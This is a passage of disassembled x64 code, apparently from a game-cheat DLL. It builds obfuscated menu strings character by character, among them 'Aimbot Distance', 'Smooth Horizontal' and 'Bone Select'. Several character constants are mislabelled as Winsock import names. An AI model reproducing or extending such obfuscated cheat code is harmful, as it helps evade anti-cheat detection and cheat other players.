movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x581], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x582], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x583], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x584], cl
mov byte [rbp + 0x585], r13b
mov byte [rbp + 0x586], r12b
mov byte [rbp + 0x587], r15b
mov byte [rbp + 0x588], r14b
mov byte [rbp + 0x589], sil
mov byte [rbp + 0x58a], dil
mov byte [rbp + 0x58b], bl
mov byte [rbp + 0x58c], al
lea rcx, [rbp + 0x2578]
call fcn.180011f00
mov dword [rsp + 0x5c], 0xc0000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2578]
call fcn.180014330
xor r15d, r15d
mov edi, r15d
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x580]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056820
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2578]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d8750
lea rcx, [rbp + 0x2578]
call fcn.1800143e0
mov byte [rsp + 0x28], r15b
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movss xmm3, dword [0x1801ce69c]
movaps xmm2, xmm15
lea rdx, [0x1805e4f6c]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2578]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2598]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
lea rcx, [rbp + 0x44c8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp + 0xe8], ax
mov cl, 0x78
call fcn.1800146a0
mov byte [rsp + 0x5c], al
xor ecx, ecx
call fcn.1800146a0
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x5c]
mov word [rbp + 0xe8], ax
lea rcx, [rbp + 0x25d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20000
xor r8d, r8d
lea edx, [rsi + 2]
lea rcx, [rbp + 0x25d8]
call fcn.180014330
mov rdi, r15
mov esi, 2
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xe8]
call fcn.180056ef0
movzx ecx, byte [rax]
call fcn.1800146a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x25d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d8860
lea rcx, [rbp + 0x25d8]
call fcn.1800143e0
mov r12, rax
xor eax, eax
mov dword [rbp - 0x30], eax
mov byte [rbp - 0x2c], al
mov cl, 0x41
call fcn.180056960
movzx r14d, al
mov cl, 0x6d
call fcn.180056960
movzx esi, al
mov cl, 0x6d
call fcn.180056960
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056960
movzx ebx, al
xor ecx, ecx
call fcn.180056960
mov byte [rbp - 0x30], r14b
mov byte [rbp - 0x2f], sil
mov byte [rbp - 0x2e], dil
mov byte [rbp - 0x2d], bl
mov byte [rbp - 0x2c], al
lea rcx, [rbp + 0x25b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x30000
xor r8d, r8d
mov esi, 5
mov edx, esi
lea rcx, [rbp + 0x25b8]
call fcn.180014330
mov rdi, r15
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.180056960
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x25b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d8920
lea rcx, [rbp + 0x25b8]
call fcn.1800143e0
mov byte [rsp + 0x28], sil
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x1801ce8a8]
movaps xmm2, xmm15
lea rdx, [0x1801f705c]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x25b8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x25d8]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, dword [0x1801ce7b8]
call fcn.180076c20
lea rcx, [rbp + 0x44d0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x113c], eax
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed810
mov byte [rsp + 0x70], al
mov cl, 0x63
call fcn.1800ed810
mov byte [rsp + 0x71], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed810
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.1800ed810
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x113c], eax
lea rcx, [rbp + 0x2618]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x8000
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x2618]
call fcn.180014330
mov edi, ebx
nop word [rax + rax]
mov rdx, r15
lea rcx, [rbp + 0x113c]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.1800ed810
movzx ebx, al
mov rdx, r15
lea rcx, [rbp + 0x2618]
call fcn.180014c80
mov byte [rax], bl
inc r15
sub rdi, 1
jne 0x1800d8a40
lea rcx, [rbp + 0x2618]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf30], xmm0
mov word [rbp + 0xf40], ax
mov cl, 0x53
call fcn.180056ad0
mov byte [rsp + 0x50], al
mov cl, 0x6d
call fcn.180056ad0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ad0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ad0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056ad0
mov byte [rsp + 0x54], al
mov cl, 0x68
call fcn.180056ad0
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.180056ad0
mov byte [rsp + 0x56], al
mov cl, 0x48
call fcn.180056ad0
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ad0
mov byte [rsp + 0x58], al
mov cl, WSAStartup
call fcn.180056ad0
mov byte [rsp + 0x59], al
mov cl, 0x69
call fcn.180056ad0
movzx r13d, al
mov cl, 0x7a
call fcn.180056ad0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ad0
movzx r15d, al
mov cl, WSAGetLastError
call fcn.180056ad0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056ad0
movzx esi, al
mov cl, 0x61
call fcn.180056ad0
movzx edi, al
mov cl, 0x6c
call fcn.180056ad0
movzx ebx, al
xor ecx, ecx
call fcn.180056ad0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xf30], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xf31], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xf32], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xf33], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xf34], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xf35], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xf36], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xf37], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xf38], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xf39], cl
mov byte [rbp + 0xf3a], r13b
mov byte [rbp + 0xf3b], r12b
mov byte [rbp + 0xf3c], r15b
mov byte [rbp + 0xf3d], r14b
mov byte [rbp + 0xf3e], sil
mov byte [rbp + 0xf3f], dil
mov byte [rbp + 0xf40], bl
mov byte [rbp + 0xf41], al
lea rcx, [rbp + 0x25f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0xc000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_select
mov edx, ebx
lea rcx, [rbp + 0x25f8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xf30]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.180056ad0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x25f8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d8c30
lea rcx, [rbp + 0x25f8]
call fcn.1800143e0
mov byte [rsp + 0x28], 1
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm7
movss xmm6, dword [0x1801ce548]
movaps xmm2, xmm6
lea rdx, [0x1801f67a8]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x25f8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2618]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
lea rcx, [rbp + 0x3af8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x1140], eax
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056aa0
mov byte [rsp + 0x70], al
mov cl, 0x63
call fcn.180056aa0
mov byte [rsp + 0x71], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056aa0
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180056aa0
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1140], eax
lea rcx, [rbp + 0x2658]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x2000
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x2658]
call fcn.180014330
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1140]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180056aa0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2658]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d8d50
lea rcx, [rbp + 0x2658]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1090], xmm0
mov cl, 0x53
call fcn.1800146c0
mov byte [rsp + 0x50], al
mov cl, 0x6d
call fcn.1800146c0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146c0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146c0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146c0
mov byte [rsp + 0x54], al
mov cl, 0x68
call fcn.1800146c0
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.1800146c0
mov byte [rsp + 0x56], al
mov cl, 0x56
call fcn.1800146c0
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.1800146c0
movzx r13d, al
mov cl, WSAStartup
call fcn.1800146c0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146c0
movzx r15d, al
mov cl, 0x69
call fcn.1800146c0
movzx r14d, al
mov cl, 0x63
call fcn.1800146c0
movzx esi, al
mov cl, 0x61
call fcn.1800146c0
movzx edi, al
mov cl, 0x6c
call fcn.1800146c0
movzx ebx, al
xor ecx, ecx
call fcn.1800146c0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1090], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1091], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1092], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x1093], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x1094], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x1095], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1096], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1097], cl
mov byte [rbp + 0x1098], r13b
mov byte [rbp + 0x1099], r12b
mov byte [rbp + 0x109a], r15b
mov byte [rbp + 0x109b], r14b
mov byte [rbp + 0x109c], sil
mov byte [rbp + 0x109d], dil
mov byte [rbp + 0x109e], bl
mov byte [rbp + 0x109f], al
lea rcx, [rbp + 0x2638]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x3000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov edx, ebx
lea rcx, [rbp + 0x2638]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1090]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.1800146c0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2638]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d8f10
lea rcx, [rbp + 0x2638]
call fcn.1800143e0
mov byte [rsp + 0x28], 1
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm7
movaps xmm2, xmm6
lea rdx, [0x1801f679c]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2638]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2658]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
lea rcx, [rbp + 0x3b00]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp + 0xec], ax
mov cl, 0x6d
call fcn.180056a30
mov byte [rsp + 0x5c], al
xor ecx, ecx
call fcn.180056a30
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x5c]
mov word [rbp + 0xec], ax
lea rcx, [rbp + 0x2698]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x800
xor r8d, r8d
lea edx, [r14 + 2]
lea rcx, [rbp + 0x2698]
call fcn.180014330
lea esi, [r14 + 2]
mov rdx, rdi
lea rcx, [rbp + 0xec]
call fcn.180056ef0
movzx ecx, byte [rax]
call fcn.180056a30
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2698]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d9010
lea rcx, [rbp + 0x2698]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x10e8], xmm0
mov cl, 0x41
call fcn.1800147b0
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.1800147b0
mov byte [rsp + 0x51], al
mov cl, 0x6d
call fcn.1800147b0
mov byte [rsp + 0x52], al
mov cl, 0x62
call fcn.1800147b0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147b0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147b0
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.1800147b0
mov byte [rsp + 0x56], al
mov cl, 0x44
call fcn.1800147b0
mov byte [rsp + 0x57], al
mov cl, 0x69
call fcn.1800147b0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147b0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147b0
movzx r15d, al
mov cl, 0x61
call fcn.1800147b0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.1800147b0
movzx esi, al
mov cl, 0x63
call fcn.1800147b0
movzx edi, al
mov cl, 0x65
call fcn.1800147b0
movzx ebx, al
xor ecx, ecx
call fcn.1800147b0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x10e8], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x10e9], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x10ea], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x10eb], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x10ec], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x10ed], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x10ee], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x10ef], cl
mov byte [rbp + 0x10f0], r13b
mov byte [rbp + 0x10f1], r12b
mov byte [rbp + 0x10f2], r15b
mov byte [rbp + 0x10f3], r14b
mov byte [rbp + 0x10f4], sil
mov byte [rbp + 0x10f5], dil
mov byte [rbp + 0x10f6], bl
mov byte [rbp + 0x10f7], al
lea rcx, [rbp + 0x2678]
call fcn.180011f00
mov dword [rsp + 0x5c], 0xc00
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov edx, ebx
lea rcx, [rbp + 0x2678]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x10e8]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.1800147b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2678]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d91d0
lea rcx, [rbp + 0x2678]
call fcn.1800143e0
mov byte [rsp + 0x28], 1
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movss xmm3, dword [0x1801ce8a4]
movss xmm2, dword [0x1801ce5d0]
lea rdx, [0x1801f67a4]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2678]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2698]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x8e0], rax
mov dword [rbp + 0x8e8], eax
mov word [rbp + 0x8ec], ax
mov cl, 0x42
call fcn.180014730
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014730
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.180014730
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.180014730
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180014730
mov byte [rsp + 0x54], al
mov cl, 0x53
call fcn.180014730
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.180014730
movzx r13d, al
mov cl, 0x6c
call fcn.180014730
movzx r12d, al
mov cl, 0x65
call fcn.180014730
movzx r15d, al
mov cl, 0x63
call fcn.180014730
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014730
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014730
movzx edi, al
mov cl, WSAStartup
call fcn.180014730
movzx ebx, al
xor ecx, ecx
call fcn.180014730
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x8e0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x8e1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x8e2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x8e3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x8e4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x8e5], cl
mov byte [rbp + 0x8e6], r13b
mov byte [rbp + 0x8e7], r12b
mov byte [rbp + 0x8e8], r15b
mov byte [rbp + 0x8e9], r14b
mov byte [rbp + 0x8ea], sil
mov byte [rbp + 0x8eb], dil
mov byte [rbp + 0x8ec], bl
mov byte [rbp + 0x8ed], al
lea rcx, [rbp + 0x26b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x200
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x26b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x8e0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180014730
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x26b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d93c0
lea rcx, [rbp + 0x3b08]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x26b8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3b10]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x26b8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x8d0], rax
mov dword [rbp + 0x8d8], eax
mov word [rbp + 0x8dc], ax
mov cl, 0x42
call fcn.180056ad0
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ad0
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.180056ad0
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.180056ad0
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180056ad0
mov byte [rsp + 0x54], al
mov cl, 0x53
call fcn.180056ad0
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.180056ad0
movzx r13d, al
mov cl, 0x6c
call fcn.180056ad0
movzx r12d, al
mov cl, 0x65
call fcn.180056ad0
movzx r15d, al
mov cl, 0x63
call fcn.180056ad0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056ad0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ad0
movzx edi, al
mov cl, WSAStartup
call fcn.180056ad0
movzx ebx, al
xor ecx, ecx
call fcn.180056ad0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x8d0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x8d1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x8d2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x8d3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x8d4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x8d5], cl
mov byte [rbp + 0x8d6], r13b
mov byte [rbp + 0x8d7], r12b
mov byte [rbp + 0x8d8], r15b
mov byte [rbp + 0x8d9], r14b
mov byte [rbp + 0x8da], sil
mov byte [rbp + 0x8db], dil
mov byte [rbp + 0x8dc], bl
mov byte [rbp + 0x8dd], al
lea rcx, [rbp + 0x26d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x100
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x26d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x8d0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056ad0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x26d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d95b0
lea rcx, [rbp + 0x26d8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x26d8]
call fcn.180011f20
movss xmm6, dword [0x1801ce7ac]
movaps xmm0, xmm6
call fcn.180076bd0
movsxd rdx, dword [0x1805e334c]
lea rcx, [0x1805e5940]
call fcn.1800140b0
mov rcx, rax
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1000], xmm0
mov cl, 0x23
call fcn.1800ed7d0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800ed7d0
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.1800ed7d0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7d0
mov byte [rsp + 0x53], al
mov cl, WSAGetLastError
call fcn.1800ed7d0
mov byte [rsp + 0x54], al
mov cl, 0x65
call fcn.1800ed7d0
mov byte [rsp + 0x55], al
mov cl, 0x5f
call fcn.1800ed7d0
mov byte [rsp + 0x56], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed7d0
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.1800ed7d0
movzx r13d, al
mov cl, 0x6c
call fcn.1800ed7d0
movzx r12d, al
mov cl, 0x65
call fcn.1800ed7d0
movzx r15d, al
mov cl, 0x63
call fcn.1800ed7d0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed7d0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7d0
movzx edi, al
mov cl, WSAStartup
call fcn.1800ed7d0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7d0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1000], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1001], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1002], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x1003], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x1004], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x1005], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1006], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1007], cl
mov byte [rbp + 0x1008], r13b
mov byte [rbp + 0x1009], r12b
mov byte [rbp + 0x100a], r15b
mov byte [rbp + 0x100b], r14b
mov byte [rbp + 0x100c], sil
mov byte [rbp + 0x100d], dil
mov byte [rbp + 0x100e], bl
mov byte [rbp + 0x100f], al
lea rcx, [rbp + 0x26f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 4
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov edx, ebx
lea rcx, [rbp + 0x26f8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1000]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.1800ed7d0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x26f8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d97b0
lea rcx, [rbp + 0x26f8]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.1800974c0
movzx ebx, al
lea rcx, [rbp + 0x26f8]
call fcn.180011f20
test bl, bl
je 0x1800d98c3
mov esi, edi
lea rcx, [0x1805e5940]
call fcn.1800ed600
test rax, rax
je 0x1800d98be
nop dword [rax]
mov ecx, esi
call fcn.180075e20
cmp dword [0x1805e334c], esi
sete byte [rbp + 0x4bac]
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x3b18]
call fcn.180011e10
mov rbx, rax
mov rdx, rdi
lea rcx, [0x1805e5940]
call fcn.1800140b0
mov rcx, rax
call fcn.1800143e0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x4bac]
mov rcx, rax
call fcn.1800a2650
test al, al
je 0x1800d9891
mov dword [0x1805e334c], esi
cmp byte [rbp + 0x4bac], 0
je 0x1800d989f
call fcn.180075c30
call fcn.180075ea0
inc esi
movsxd rdi, esi
lea rcx, [0x1805e5940]
call fcn.1800ed600
cmp rdi, rax
jb 0x1800d9830
call fcn.180078610
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x648], eax
mov byte [rbp + 0x64c], al
mov cl, 0x20
call fcn.180014960
mov byte [rsp + 0x50], al
mov cl, 0x52
call fcn.180014960
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180014960
mov byte [rsp + 0x52], al
mov cl, WSAGetLastError
call fcn.180014960
mov byte [rsp + 0x53], al
mov cl, 0x64
call fcn.180014960
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014960
movzx r13d, al
mov cl, 0x6d
call fcn.180014960
movzx r12d, al
mov cl, 0x20
call fcn.180014960
movzx r15d, al
mov cl, 0x42
call fcn.180014960
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014960
movzx esi, al
mov cl, WSAGetLastError
call fcn.180014960
movzx edi, al
mov cl, 0x65
call fcn.180014960
movzx ebx, al
xor ecx, ecx
call fcn.180014960
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x640], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x641], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x642], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x643], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x644], cl
mov byte [rbp + 0x645], r13b
mov byte [rbp + 0x646], r12b
mov byte [rbp + 0x647], r15b
mov byte [rbp + 0x648], r14b
mov byte [rbp + 0x649], sil
mov byte [rbp + 0x64a], dil
mov byte [rbp + 0x64b], bl
mov byte [rbp + 0x64c], al
lea rcx, [rbp + 0x2718]
call fcn.180011f00
mov dword [rsp + 0x70], 8
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2718]
